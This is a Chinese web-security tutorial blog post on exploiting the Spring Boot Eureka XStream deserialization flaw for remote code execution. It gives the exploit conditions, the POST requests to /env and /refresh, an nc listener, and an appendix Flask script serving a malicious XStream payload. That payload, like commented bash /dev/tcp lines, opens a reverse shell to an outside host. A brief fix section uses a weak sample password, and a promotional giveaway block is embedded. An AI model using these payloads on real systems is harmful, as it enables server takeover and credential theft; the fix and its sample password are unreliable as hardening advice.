程序员|【web安全】Spring Boot eureka xstream 反序列化

一、漏洞概述 Eureka 是 Spring Cloud Netflix 模块的子模块,它是 Spring Cloud 对 Netflix Eureka 的二次封装,主要负责 Spring Cloud 的服务注册与发现功能,开发人员只需引入相关依赖和注解轻松将 Spring Boot 与 Eureka 进行整合。
安全人员(Michael Stepankin)发现,服务注册与发现功能可能被滥用,当 eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL地址并/refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload。目标机器解析 payload,触发 XStream 反序列化,造成 RCE 漏洞。
二、利用条件 1.目标可出网
2.目标使用的 eureka-client < 1.8.7(存在 spring-cloud-starter-netflix-eureka-client 依赖)
3.可用 POST 方式请求目标网站的 /env 接口,并设置zone属性
4.可用 POST 方式请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
三、漏洞环境 Web服务器:Windows Server 2012, JDK8u131 (1.13.190.222)
VPS: Ubuntu 16.04.7 LTS (162.14.73.205)
四、正常访问 访问URL: http://1.13.190.222:64000/env , 得到一些json格式的敏感数据。
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

五、漏洞利用

【私信回复“资料”获取】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记
提前在VPS服务器准备相关文件和监听服务,利用VPS python起的fake server 串联调用执行代码。
Web服务器:Windows Server 2012, JDK8u131(1.13.190.222)
VPS: Ubuntu 16 (162.14.73.205)
步骤一:架设脚本
响应恶意 XStream payload 的 python 脚本示例(依赖Flask),脚本还需要配合弹shell命令。
对于Linux,可以利用目标机器上自带的 python 来反弹shell。
对于Windows,可以利用 powercat.ps1 来反弹shell。
启动脚本 python3 eureka-rce.py
Flask Server 8883
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

步骤二:NC监听
File Server 8000
对于windows平台弹 shell,用python3 -m http.server 8000,快速搭建powercat.ps1 文件下载服务。
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

使用 nc 监听端口,等待反弹 shell
nc -lvp 8885
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

步骤三:设置defaultZone
设置 eureka.client.serviceUrl.defaultZone 属性
版本1:spring 1.x
POST /env Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://162.14.73.205:8883/

版本2:spring 2.x
POST /actuator/env Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://162.14.73.205:8883"}

返回200,body内容为{"eureka.client.serviceUrl.defaultZone":"http://162.14.73.205:8883/"},即设置成功。
步骤四:刷新配置
版本1:spring 1.x
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

版本2:spring 2.x
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

返回200,body [] 为刷新成功。
接到Shell
程序员|【web安全】Spring Boot eureka xstream 反序列化
文章图片

六、漏洞修复 可考虑禁用/env接口(endpoints.env.enabled= false),但需要不影响业务/运维。通常考虑对/env接口进行鉴权,通过在pom.xml文件下引入spring-boot-starter-security依赖,并在application.properties中开启security功能,配置访问账号密码,重启应用。
pom.xml org.springframework.boot spring-boot-starter-security application.properties management.security.enabled=true security.user.name=administrator security.user.password=123456

附录 1.python脚本
# -*- coding: utf-8 -*- # home.php?mod=space&uid=59738: 2022-3-11 20点48分 # home.php?mod=space&uid=210785: eureka-rce.py# linux反弹shell #/bin/bash #-c #bash -i >& /dev/tcp/162.14.73.205/8885 0>&1# windows反弹shell #powershell #IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); # windows反弹shell #cmd.exe #/c #ping %COMPUTERNAME%.6f9796ab.dns.bypass.eu.org# windows dnsloghttps://dig.pm/ #cmd.exe #/c #ping 757013cd.dns.bypass.eu.orgfrom flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''}) @app.route('/', methods = ['GET', 'POST']) def catch_all(path): xml = """ powershell IEX (New-Object System.Net.Webclient).DownloadString('http://162.14.73.205:8000/powercat.ps1'); powercat -c 162.14.73.205 -p 8885 -e cmd false java.lang.ProcessBuilder start foo foo """ return Response(xml, mimetype='application/xml') if __name__ == "__main__": app.run(host='0.0.0.0', port=8883)

2.其他接口利用
/env : 获取环境属性,数据库密码等,如数据库在外网并且未进行白名单限制,可拿数据库权限。
/mappings: 获取接口列表,如接口未鉴权,可进一步获得敏感信息。
/dump: 获得内存快照,配合VisualVM 可进一步获得敏感信息。
【程序员|【web安全】Spring Boot eureka xstream 反序列化】/trace:获取认证信息,类似druid/index.html泄露session等认证信息,可进一步利用权限突破。

    推荐阅读